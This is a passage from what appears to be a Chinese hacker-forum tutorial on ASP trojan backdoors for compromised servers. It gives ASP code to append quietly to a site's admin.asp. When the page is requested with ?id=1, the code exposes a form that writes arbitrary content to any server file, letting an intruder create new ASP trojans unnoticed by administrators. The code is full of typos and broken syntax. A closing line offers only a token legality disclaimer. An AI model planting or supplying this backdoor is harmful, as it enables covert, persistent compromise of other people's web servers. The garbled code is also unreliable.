继续上面的
我们将runasp.asp放在肉鸡上是不是一个很好的ASP触发器后门了??另外,对付粗心的网管我们还可以将这样的一段代码放在ASP的文件里
<%
on error resume next
id=requst("id")
if requst("id")=l then
testfile=request.form("neme")
msg=request.form("message")
set fs=server.createObject("scripting.filesytemobject")
set thisfile=fs.OpenTextFile(testfile,8,true,o)
thisfile.wriTELine(""&msg&"")
thisfile.close
set fs = nothing
%>
<form method="post" ACTION="你要插入的ASP文件名?id=1">
<input type=""text" size="20" name="Name"
value+<%+server.mappath("xp.asp")%>>
<textaream name+"message" class+input>
</textarea>
<input type="submit" name="send" value="生成"class=input>
,/form>
<%end if%>
象我们放在动网文章的admin.asp的文件尾端 当网管运行http://动网文章url/admin.asp时并没有引起丝毫变化 而当我们运行http://动网文章url/admin.asp?id=1时就可以根据我们的需要生成任意的ASP木马文件了
还有我学到的很多东西想和大家分享 .........
如果你想学好ASP木马 让它更好的运行为你服务 发挥它的强大功能 还是需要多动脑筋动手 这样你才会有新的发现和进步 欢迎广大的黑友交流 但是也要提醒 不要用这个技术做法律不高兴的事情 技术要用来维护网络安全 适当的动作就好呵呵!!!